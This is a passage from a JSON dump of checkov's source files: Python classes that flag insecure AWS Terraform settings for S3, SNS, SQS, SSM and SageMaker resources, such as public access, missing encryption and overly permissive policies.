'http://acs.amazonaws.com/groups/global/AllUsers' in grantee.get('uri'):\n                                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = S3GlobalViewACL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3IgnorePublicACLs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 bucket has ignore public ACLs enabled\"\n        id = \"CKV_AWS_55\"\n        supported_resources = ['aws_s3_bucket_public_access_block']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"ignore_public_acls\"\n\n\nscanner = S3IgnorePublicACLs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3ObjectCopyEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_181\"\n        supported_resources = ['aws_s3_object_copy']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = S3ObjectCopyEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass S3ProtectAgainstPolicyLockout(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)\"\n        id = \"CKV_AWS_93\"\n        supported_resources = ('aws_s3_bucket', 'aws_s3_bucket_policy')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        fails = [\"s3:PutBucketPolicy\", \"s3:*BucketPolicy\", \"s3:Put*\", \"s3:*\", \"*\"]\n\n        if 'policy' not in conf.keys() or not isinstance(conf['policy'][0], dict):\n            return CheckResult.PASSED\n        try:\n            policy_block = conf.get('policy')[0]\n            if 'Statement' in policy_block.keys():\n                for statement in force_list(policy_block['Statement']):\n                    if 'Condition' in statement.keys() or 'NotAction' in statement.keys() \\\n                            or statement.get('Effect') != 'Deny':\n                        # https://github.com/bridgecrewio/checkov/pull/627#issuecomment-714681751\n                        continue\n\n                    principal = statement['Principal']\n                    if 'AWS' in statement['Principal']:\n                        # Can be a string or an array of strings\n                        aws = statement['Principal']['AWS']\n                        if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws):\n                            principal = \"*\"\n\n                    action = statement['Action']\n                    if principal == \"*\":\n                        if action == '*':\n                            return CheckResult.FAILED\n                        myActions = force_list(action)\n                        for item in myActions:\n                            if item in fails:\n                                return CheckResult.FAILED\n        except Exception:  # nosec\n            pass\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['policy']\n\n\ncheck = S3ProtectAgainstPolicyLockout()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3RestrictPublicBuckets(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 bucket has 'restrict_public_buckets' enabled\"\n        id = \"CKV_AWS_56\"\n        supported_resources = ['aws_s3_bucket_public_access_block']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"restrict_public_buckets\"\n\n\nscanner = S3RestrictPublicBuckets()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3SecureDataTransport.py",
    "content": "from __future__ import annotations\nimport json\nfrom typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.graph.graph_builder import CustomAttributes\n\n\nclass S3SecureDataTransport(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure AWS S3 bucket is configured with secure data transport policy\"\n        id = \"CKV_AWS_379\"\n        supported_resources = ('aws_s3_bucket_acl',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def _is_policy_secure(self, policy: Dict[str, Any]) -> CheckResult:\n        # Explicitly deny aws:SecureTransport = false or allow aws:SecureTransport = true\n        if policy.get(\"Statement\"):\n            for p in policy.get(\"Statement\"):\n                if p.get(\"Effect\") == \"Allow\":\n                    condition = p.get(\"Condition\")\n                    if (condition and condition.get(\"Bool\") and\n                            'aws:SecureTransport' in condition.get(\"Bool\") and\n                            condition.get(\"Bool\").get(\"aws:SecureTransport\").lower() == \"true\"):\n                        return CheckResult.PASSED\n                elif p.get(\"Effect\") == \"Deny\":\n                    condition = p.get(\"Condition\")\n                    if (condition and condition.get(\"Bool\") and\n                            'aws:SecureTransport' in condition.get(\"Bool\") and\n                            (not condition.get(\"Bool\").get(\"aws:SecureTransport\") or\n                             condition.get(\"Bool\").get(\"aws:SecureTransport\").lower() == \"false\")):\n                        return CheckResult.PASSED\n        elif policy.get(\"statement\"):\n            policy_statement = policy.get(\"statement\")\n            if isinstance(policy_statement, dict):\n                policy_statement = [policy_statement]\n            for p in policy_statement:\n                # Pass if aws:SecureTransport exists\n                if ((not p.get(\"effect\") or p.get(\"effect\") == \"Allow\") and p.get(\"condition\") and\n                        p.get(\"condition\").get(\"test\") and p.get(\"condition\").get(\"test\") == \"Bool\" and\n                        p.get(\"condition\").get(\"variable\") and\n                        p.get(\"condition\").get(\"variable\") == \"aws:SecureTransport\" and\n                        p.get(\"condition\").get(\"values\") and p.get(\"condition\").get(\"values\")[0]):\n                    return CheckResult.PASSED\n                elif ((not p.get(\"effect\") or p.get(\"effect\") == \"Deny\") and p.get(\"condition\") and\n                        p.get(\"condition\").get(\"test\") and p.get(\"condition\").get(\"test\") == \"Bool\" and\n                        p.get(\"condition\").get(\"variable\") and\n                        p.get(\"condition\").get(\"variable\") == \"aws:SecureTransport\" and\n                        p.get(\"condition\").get(\"values\") and not p.get(\"condition\").get(\"values\")[0]):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        acl = conf.get('acl')\n        is_public = False\n        connected_public_access_block = []\n        if acl and acl[0] in ('public-read', 'public-read-write'):\n            # Search for a connected aws_s3_bucket then a connected aws_s3_bucket_public_access_block then check if\n            # restrict_public_buckets is true and pass or else fail\n            bucket_id = conf.get(\"bucket\")[0].rsplit('.', 1)[0]\n            connected_public_access_block = [\n                g for g in self.graph.nodes()\n                if g[1].get(CustomAttributes.RESOURCE_TYPE) == \"aws_s3_bucket_public_access_block\"\n                and isinstance(g[1].get(\"bucket\"), str)\n                and g[1].get(\"bucket\").rsplit('.', 1)[0] == bucket_id\n            ]\n            if connected_public_access_block:\n                if (not connected_public_access_block[0][1].get('restrict_public_buckets') and\n                        not connected_public_access_block[0][1].get('block_public_acls')):\n                    is_public = True\n            else:\n                is_public = True\n\n        access_control_policy = conf.get('access_control_policy')\n        if not is_public and access_control_policy:\n            grants = access_control_policy[0].get('grant', [])\n            for grant in grants:\n                if isinstance(grant, str):\n                    continue\n                grantee = grant.get('grantee', [])\n                if grantee and grantee[0].get('uri', [None])[0] == 'http://acs.amazonaws.com/groups/global/AllUsers':\n                    # Search for a connected aws_s3_bucket then a connected aws_s3_bucket_public_access_block then\n                    # check if block_public_acls is true and pass or else fail\n                    bucket_id = conf.get(\"bucket\")[0].rsplit('.', 1)[0]\n                    # Don't look again if already collected\n                    if not connected_public_access_block:\n                        connected_public_access_block = [\n                            g for g in self.graph.nodes()\n                            if g[1].get(CustomAttributes.RESOURCE_TYPE) == \"aws_s3_bucket_public_access_block\"\n                            and isinstance(g[1].get(\"bucket\"), str)\n                            and g[1].get(\"bucket\").rsplit('.', 1)[0] == bucket_id\n                        ]\n                    if connected_public_access_block:\n                        if not connected_public_access_block[0][1].get('block_public_acls'):\n                            is_public = True\n                    else:\n                        is_public = True\n\n        if not is_public:\n            return CheckResult.PASSED\n\n        # if connected to aws_s3_bucket_website_configuration then pass\n        bucket_id = conf.get(\"bucket\")[0].rsplit('.', 1)[0]\n        connected_website = [\n            g for g in self.graph.nodes()\n            if g[1].get(CustomAttributes.RESOURCE_TYPE) == \"aws_s3_bucket_website_configuration\"\n            and isinstance(g[1].get(\"bucket\"), str)\n            and g[1].get(\"bucket\").rsplit('.', 1)[0] == bucket_id\n        ]\n        if connected_website:\n            return CheckResult.PASSED\n\n        # Ensures the aws:SecureTransport condition does not exist in any policy statement.\n        connected_s3_bucket_policy = [\n            g for g in self.graph.nodes()\n            if g[1].get(CustomAttributes.RESOURCE_TYPE) == \"aws_s3_bucket_policy\"\n            and isinstance(g[1].get(\"bucket\"), str)\n            and g[1].get(\"bucket\").rsplit('.', 1)[0] == bucket_id\n        ]\n\n        if connected_s3_bucket_policy:\n            policy_statement = connected_s3_bucket_policy[0][1].get(\"policy\")\n            if isinstance(policy_statement, dict):\n                return self._is_policy_secure(policy_statement)\n            elif isinstance(policy_statement, str) and policy_statement.strip().startswith('jsonencode'):\n                json_content = policy_statement.replace(\"jsonencode(\", \"\").replace(\")\", \"\")\n                json_content = json_content.replace(\"'\", '\"')\n                json_content = json_content.replace('\"\"', '\"')\n                try:\n                    policy_statement = json.loads(json_content)\n                except json.JSONDecodeError:\n                    # Error decoding JSON\n                    return CheckResult.UNKNOWN\n                return self._is_policy_secure(policy_statement)\n            elif (isinstance(policy_statement, str) and policy_statement.split('.')[0] == 'data' and\n                  policy_statement.split('.')[-1] == 'json'):\n                target_id = '.'.join(policy_statement.split('.')[1:-1])\n                connected_iam_policy_doc = [\n                    g2 for g2 in self.graph.nodes()\n                    if g2[1].get(CustomAttributes.BLOCK_TYPE) == \"data\"\n                    and g2[1].get(CustomAttributes.ID) == target_id\n                ]\n\n                if connected_iam_policy_doc[0][1].get(\"statement\"):\n                    return self._is_policy_secure(connected_iam_policy_doc[0][1])\n\n        return CheckResult.UNKNOWN\n\n\ncheck = S3SecureDataTransport()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SNSCrossAccountAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS SNS topic policies do not allow cross-account access\"\n        id = \"CKV_AWS_385\"\n        supported_resources = (\"aws_sns_topic_policy\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        conf_policy = conf.get(\"policy\")\n\n        if not conf_policy:\n            return CheckResult.PASSED\n\n        if conf_policy:\n            if isinstance(conf_policy[0], dict):\n                for policy in conf_policy:\n                    try:\n                        processed_policy = ResourcePolicyDocument(policy=policy)\n                        for statement in processed_policy.statements:\n                            if statement.effect != \"Allow\":\n                                continue\n\n                            has_specific_aws_iam_arn_principal = False\n\n                            aws_principal_values = []\n                            if statement.statement and \"Principal\" in statement.statement and \"AWS\" in statement.statement[\"Principal\"]:\n                                raw_aws_principals = statement.statement[\"Principal\"][\"AWS\"]\n                                if isinstance(raw_aws_principals, str):\n                                    aws_principal_values.append(raw_aws_principals)\n                                elif isinstance(raw_aws_principals, list):\n                                    aws_principal_values.extend(raw_aws_principals)\n\n                            for principal_str in aws_principal_values:\n                                if isinstance(principal_str, str) and \\\n                                        principal_str.startswith(\"arn:aws:iam::\") and \\\n                                        principal_str != \"*\":\n                                    has_specific_aws_iam_arn_principal = True\n                                    break\n\n                            if has_specific_aws_iam_arn_principal:\n                                if not statement.conditions:\n                                    return CheckResult.FAILED\n\n                    except (TypeError, AttributeError):\n                        return CheckResult.UNKNOWN\n            else:\n                return CheckResult.UNKNOWN\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\"]\n\n\ncheck = SNSCrossAccountAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SNSTopicEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SNSTopicEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the SNS topic is encrypted\"\n        id = \"CKV_AWS_26\"\n        supported_resources = (\"aws_sns_topic\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_master_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SNSTopicEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SNSTopicPolicyAnyPrincipal(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure SNS topic policy is not public by only allowing specific services or principals to access it\"\n        id = \"CKV_AWS_169\"\n        supported_resources = (\"aws_sns_topic_policy\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        conf_policy = conf.get(\"policy\")\n        if conf_policy:\n            if isinstance(conf_policy[0], dict):\n                try:\n                    policy = ResourcePolicyDocument(policy=conf_policy[0])\n                    if policy.internet_accessible_actions:\n                        return CheckResult.FAILED\n                except (TypeError, AttributeError):\n                    return CheckResult.UNKNOWN\n            else:\n                return CheckResult.UNKNOWN\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\"]\n\n\ncheck = SNSTopicPolicyAnyPrincipal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass SQSOverlyPermissive(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure SQS policy does not allow public access through wildcards\"\n        id = \"CKV_AWS_387\"\n        supported_resources = ['aws_sqs_queue_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if \"policy\" in conf.keys():\n            policy = conf[\"policy\"][0]\n            if isinstance(policy, dict):\n                for statement in policy.get('Statement', []):\n                    if isinstance(statement, dict):\n                        # Check Effect is Allow\n                        if statement.get('Effect') != 'Allow':\n                            continue\n\n                        # Check Action starts with sqs: or SQS:\n                        action = statement.get('Action', '')\n                        if isinstance(action, str):\n                            actions = [action]\n                        else:\n                            actions = action\n\n                        has_sqs_action = any(\n                            isinstance(a, str) and (a == '*' or a.startswith('sqs:') or a.startswith('SQS:')) for a in actions)\n                        if not has_sqs_action:\n                            continue\n\n                        # Check Principal\n                        principal = statement.get('Principal', {})\n                        if isinstance(principal, str) and principal == '*':\n                            if 'Condition' not in statement:\n                                return CheckResult.FAILED\n                        elif isinstance(principal, dict) and 'AWS' in principal:\n                            aws_principal = principal['AWS']\n                            if isinstance(aws_principal, str) and aws_principal == '*':\n                                if 'Condition' not in statement:\n                                    return CheckResult.FAILED\n                            elif isinstance(aws_principal, list) and '*' in aws_principal:\n                                if 'Condition' not in statement:\n                                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['policy']\n\n\ncheck = SQSOverlyPermissive()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SQSPolicy.py",
    "content": "\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass SQSPolicy(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure SQS policy does not allow ALL (*) actions.\"\n        id = \"CKV_AWS_72\"\n        supported_resources = ['aws_sqs_queue_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for public * policy for SQS repository:\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy\n        :param conf: aws_sqs_queue_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"policy\" in conf.keys():\n            policy = conf[\"policy\"][0]\n            if type(policy) is dict:\n                statement = policy['Statement'][0]\n                if type(statement) is dict:\n                    if statement['Action'] == '*':\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['policy']\n\n\ncheck = SQSPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SQSQueueEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SQSQueueEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the SQS queue is encrypted\"\n        id = \"CKV_AWS_27\"\n        supported_resources = ('aws_sqs_queue',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        sqs_managed_sse_enabled = conf.get(\"sqs_managed_sse_enabled\")\n        if sqs_managed_sse_enabled and isinstance(sqs_managed_sse_enabled, list):\n            # when 'kms_master_key_id' is set, then 'sqs_managed_sse_enabled' is internally set to false\n            if sqs_managed_sse_enabled[0]:\n                return CheckResult.PASSED\n\n        kms_master_key_id = conf.get(\"kms_master_key_id\")\n        if kms_master_key_id and isinstance(kms_master_key_id, list):\n            if kms_master_key_id[0]:\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"sqs_managed_sse_enabled\", \"kms_master_key_id\"]\n\n\ncheck = SQSQueueEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SQSQueuePolicyAnyPrincipal(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure SQS queue policy is not public by only allowing specific services or principals to access it\"\n        id = \"CKV_AWS_168\"\n        supported_resources = (\"aws_sqs_queue_policy\", \"aws_sqs_queue\")\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        conf_policy = conf.get(\"policy\")\n        if conf_policy:\n            if isinstance(conf_policy[0], dict):\n                try:\n                    policy = ResourcePolicyDocument(policy=conf_policy[0])\n                    if policy.internet_accessible_actions:\n                        return CheckResult.FAILED\n                except (TypeError, AttributeError):\n                    return CheckResult.UNKNOWN\n            else:\n                return CheckResult.UNKNOWN\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\"]\n\n\ncheck = SQSQueuePolicyAnyPrincipal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py",
    "content": "\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SSMDocumentsArePrivate(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21),\n        NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16),\n        NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4),\n        NIST.800-53.r5 SC-7(9)\n        \"\"\"\n        name = \"Ensure SSM documents are not Public\"\n        id = \"CKV_AWS_303\"\n        supported_resources = ['aws_ssm_document']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"permissions/[0]/account_ids\"\n\n    def get_forbidden_values(self) -> str:\n        return \"All\"\n\n\ncheck = SSMDocumentsArePrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SSMParameterUsesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure SSM parameters are using KMS CMK\"\n        id = \"CKV_AWS_337\"\n        supported_resources = (\"aws_ssm_parameter\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"type\")[0] != \"SecureString\":\n            return CheckResult.PASSED\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SSMParameterUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py",
    "content": "import json\n\nimport yaml\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import is_json, is_yaml\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass SSMSessionManagerDocumentEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Session Manager data is encrypted in transit\"\n        id = \"CKV_AWS_112\"\n        supported_resources = [\"aws_ssm_document\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"document_type\") != [\"Session\"] or \"content\" not in conf.keys():\n            return CheckResult.UNKNOWN\n\n        doc_format = conf.get(\"document_format\", [\"JSON\"])\n        content = conf[\"content\"][0]\n        inputs = None\n\n        if doc_format == [\"JSON\"] and is_json(content):\n            inputs = json.loads(content).get(\"inputs\", {})\n        elif doc_format == [\"YAML\"] and is_yaml(content):\n            inputs = yaml.safe_load(content).get(\"inputs\", {})\n        elif isinstance(content, dict):\n            inputs = content.get(\"inputs\", None)\n\n        if inputs and not inputs.get(\"kmsKeyId\"):\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['document_type', 'document_format', 'content']\n\n\ncheck = SSMSessionManagerDocumentEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py",
    "content": "import json\n\nimport yaml\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import is_json, is_yaml\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass SSMSessionManagerDocumentLogging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Session Manager logs are enabled and encrypted\"\n        id = \"CKV_AWS_113\"\n        supported_resources = [\"aws_ssm_document\"]\n        categories = [CheckCategories.ENCRYPTION, CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"document_type\") != [\"Session\"] or \"content\" not in conf.keys():\n            return CheckResult.UNKNOWN\n\n        doc_format = conf.get(\"document_format\", [\"JSON\"])\n        content = conf[\"content\"][0]\n        inputs = None\n\n        if doc_format == [\"JSON\"] and is_json(content):\n            inputs = json.loads(content).get(\"inputs\", {})\n        elif doc_format == [\"YAML\"] and is_yaml(content):\n            inputs = yaml.safe_load(content).get(\"inputs\", {})\n        elif isinstance(content, dict):\n            inputs = content.get(\"inputs\", None)\n\n        if inputs:\n            if inputs.get(\"s3BucketName\") and inputs.get(\"s3EncryptionEnabled\"):\n                return CheckResult.PASSED\n            if inputs.get(\"cloudWatchLogGroupName\") and inputs.get(\"cloudWatchEncryptionEnabled\"):\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['document_type', 'document_format', 'content']\n\n\ncheck = SSMSessionManagerDocumentLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SageMakerInternetAccessDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance\"\n        id = \"CKV_AWS_122\"\n        supported_resources = ['aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'direct_internet_access'\n\n    def get_expected_value(self):\n        return 'Disabled'\n\n\ncheck = SageMakerInternetAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts\"\n        id = \"CKV_AWS_367\"\n        supported_resources = ['aws_sagemaker_data_quality_job_definition']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"data_quality_job_output_config/[0]/kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerDataQualityJobDefinitionEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionTrafficEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs\"\n        id = \"CKV_AWS_369\"\n        supported_resources = ['aws_sagemaker_data_quality_job_definition']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"network_config/[0]/enable_inter_container_traffic_encryption\"\n\n\ncheck = SagemakerDataQualityJobDefinitionTrafficEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py",
